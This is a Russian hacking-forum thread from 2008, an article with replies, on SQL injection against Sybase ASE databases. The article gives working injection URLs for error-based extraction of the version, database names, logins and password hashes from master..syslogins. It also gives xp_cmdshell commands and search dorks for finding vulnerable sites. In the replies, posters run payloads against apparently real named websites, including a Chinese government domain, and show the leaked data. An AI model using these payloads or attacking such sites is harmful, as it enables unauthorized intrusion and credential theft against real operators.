![]() |
Проведение SQL инъекций в Sybase ASE
Проведение SQL инъекций в Sybase ASE Автор: ~!Dok_tOR!~ Дата: 25.07.2008 Special for antichat.ru [Intro] В данной статье будет рассмотрено проведения SQL инъекций в Sybase. Я думаю многим будет интересно почитать об этой СУБД так как взламывать MySQL уже научился каждый 3-ий а когда появляется что-то нестандартное, непонятное возникают проблемы, я не исключаю того что ты мог вообще никогда не слышать о СУБД Sybase. Заглянем в историю ... [History] Sybase Inc. — пионер среди компаний, специализирующихся на разработке реляционных баз данных, а также других продуктов, связанных со сбором, обработкой и хранением данных. Кроме названия компании, слово «Sybase» также часто используется как наименования наиболее широко известного ее продукта — системы управления базами данных Adaptive Server Enterprise. Архитекторами Sybase были доктор Роберт Эпштейн (Dr. Robert Epstein) и Том Хаггин (Tom Haggin), — оба они работали на Бритон-Ли и Университет Калифорния, Беркли, — в департаменте вычислительной техники. В Беркли впервые была разработана реляционная СУБД «University Ingres», которая стала эталоном таких СУБД как Ingres (Computer Associates), Informix (IBM) и NonStop SQL (Tandem), а также для большинства сегодняшних SQL-систем.Sybase оказалась на втором месте среди используемых в мире баз данных, сразу за Oracle, после подписания договора о предоставлении исходного кода базы в Microsoft для выведения на рынок продукта на базе платформы OS/2 под названием «SQL Server». В это же время Sybase стала называть свою СУБД «Sybase SQL Server». Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключается в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушел с UNIX и целиком сконцентрировался на платформе Windows NT. В настоящее время, Sybase продолжает поддерживать и развивать версии для семейства Windows, и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие). Офф.сайт www.sybase.com [Error Messages] Уявимый параметр search, подставляем ковычку: Код:
http://site.com/index.php?search='Код:
Warning: sybase_query():Код:
com.sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit [SQL Injection] Обрезать запрос можно использовав комментарий: /**/ , -- SQL comments Подбор стоолбцов: Код:
http://site.com/index.php?search=-1+union+select+null--Код:
http://site.com/index.php?search=-1+union+select+@@version--Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+@@version))--Код:
Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#1/P/NT (IX86)/OS EBF 11948 - число "непредвиденного исправления(bug fix)"; ESD#1 - число "Электронной Программной Поставки", которое является корректором; Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку: Код:
convert(integer,(select 'z' + str(@@version_as_integer)))Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+'z'%2bstr(@@version_as_integer)))--Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit В общих чертах, для того чтобы получать переменную произвольного типа данных, использовавших сообщение конверсионной ошибки целого, пропишите переменную в строку сначала, затем выполните преобразование целого. допустим уязвимый код такой: Код:
String search = request.getParameter("search");Код:
http://site.com/index.php?search=-1+union+select+name+from+syslogins--Код:
http://site.com/index.php?search=-1+union+select+name+from+master..syslogins--Код:
http://site.com/index.php?search=-1+union+select+password+from+syslogins--Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>''))--Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>'master'))--Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit Используем запрос Transact-SQL's, группирующий характеристику: Код:
http://site.com/index.php?search=')+create+table+foo(a+integer)--1. Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения Данных Языковых утверждений (DDL). 2. Хакер использует pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение удостоверяет как "sa" , так что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом пользователя. Код:
search = search.replaceAll( "'", "''");[Запись в файл] Код:
create table myfile (record varchar(2000)) externalТолько администраторы могут выполнить xp_cmdshell, по умолчанию. Запись в файл через xp_cmdshell: Код:
declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt'Код:
xp_cmdshell 'command'Код:
xp_cmdshell 'net users'[xp_regread] Sybase не имеет эквивалент xp_regread, так что любые хитрости (как например, чтение SAM файла под Windows) не будет работать в Sybase. В MSSQL, функция exec позволяет нам, выполнять динамический запрос. Например: Код:
exec('select @@version')Код:
exec('sel'+'ect @'+'@ver'+'sion')Код:
declare @s varchar(2000)Код:
selselectect @@ver@@versionsionDorks: Warning: sybase_query() Warning: sybase_num_rows() Warning: sybase_fetch_array(): Warning: sybase_query(): Sybase: Server message: Ссылки: Официальный сайт Cайт российского представительства Портал разработчиков под Sybase Русскоязычные форумы по продуктам Sybase |
>> Статья доказывает тот факт что, нет неуязвимых СУБД, каждая СУБД имеет те или иные баги
В статье были рассмотрены аспекты незащищённости Sybase aka (ASE). Вроде как были описаны уязвимости используемые при уязвимом коде, каким местом к этому относятся уязвимости субд? PS фака по этой субд на ачате нету, так что + |
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
"sysdatabases"- Это системная таблица какая-то? Поясни пожалуйста Цитата:
Всё что ниже понятно, и взято отсюда : http://www.xakep.ru/magazine/xa/105/082/1.asp PS Я не придираюсь , просто тема очень интересна самому, возможно я что-то не понял просто, если можешь поясни плз. |
Цитата:
Цитата:
Цитата:
Код:
union+select+@@versionто преобразуем это в всё в конверсию целого aka convert () Код:
convert(integer,(select+@@version))--Цитата:
Цитата:
Код:
http://site.com/index.php?search=-1+union+select+name+from+sysdatabases--Код:
http://site.com/index.php?search=-1+union+select+name+from+master..sysdatabases-- |
Цитата:
это наводит на не очень хорошие мысли,ТС не совсем понял уязвимость sql inj. |
Рассмотрим на конкретном примере
Запрос http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(integer,(select+@@ version))-- Код:
Adaptive Server Enterprise/12.5.3/EBF 13332 ESD#7/P/Linux Intel/Enterprisehttp://pda.vmdaily.ru/article.php?aid=1+and+1=convert(integer,(select+'z '%2bstr(@@version_as_integer)))-- Код:
Warning: sybase_query() [function.sybase-query]: Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'z 12500' to a INT field. (severity 16, procedure N/A) in /var/home/pda1.vmdaily.ru/classes/db.clss on line 21http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(integer,(select+@@vers ion))-- Код:
Adaptive Server Enterprise/12.5.3/EBF 12593 ESD#3/P/Sun_svr4/OS 5.8/ |
Цитата:
Вывод версии, это конечно круто, но и он идёт в твоём примере через and А ты в начале статьи писал о работе с оператором Union Я бы хотел что-бы ты показал пример работы с ним Дело в том, что в Sybase как и в MSSQL достаточно бредовая затея работать с оператором UNION(ИМХО) И если ты его описываешь, то покажи пример рабочего запроса,что-бы люди видели как это Вот нормальная работа с базой Sybase: Описана Scipio сдесь: http://forum.antichat.ru/showpost.php?p=626114&postcount=5170 В примере приведённом тобой это выглядит так: Юзер: http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(user_name ()))-- webuser http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))-- wwwstat http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174,0x7765626462))) http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins)) wwwstat http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174))) webdb http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174,0x7765626462))) vm и т.д. Вывод идёт из master..syslogins, ты пишешь Цитата:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+syslogins)) Ошибка Опять-же, либо объясни, либо исправь Далее, комментарий /* Цитата:
Ошибка, почему?? Ну и повторюсь, покажи работу union |
Цитата:
Цитата:
Цитата:
Цитата:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))/**/ Пользователи: http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(na me)+from+master..syslogins))-- Пароли: http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(pa ssword)+from+master..syslogins))-- http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeri c,(select+max(password)+from+master..syslogins))/**/ http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeri c,(select+max(name)+from+master..syslogins))/**/ |
Цитата:
Примеров работы с подзапросами в твоём описании нет Будешь показывать подзапросы? :D ЗЫ Описание Scipio гораздо понятнее и удобнее, хорошо бы его воткнуть сюда вместо моих примеров, что-бы всё было в одном месте, но это конечно ему самому решать |
Цитата:
Цитата:
А зачем тут скобки? Цитата:
выводим database() (db_name() ase) текущая база 'demo' "имена пользователей могу хранится в табличке user так и в mysql.user" master это системная таблица (аналогично mysql.user) и syslogins храниться только там. запрос select syslogins прокатит только тогда когда это твоя текущая база, что при иньекции не возможно. p.s. Создаеться впечатление что автор не понимает о чем он пишет. Про ASA и IQ даже не упоминалось. имхо TSQL и есть TSQL |
| Время: 15:42 |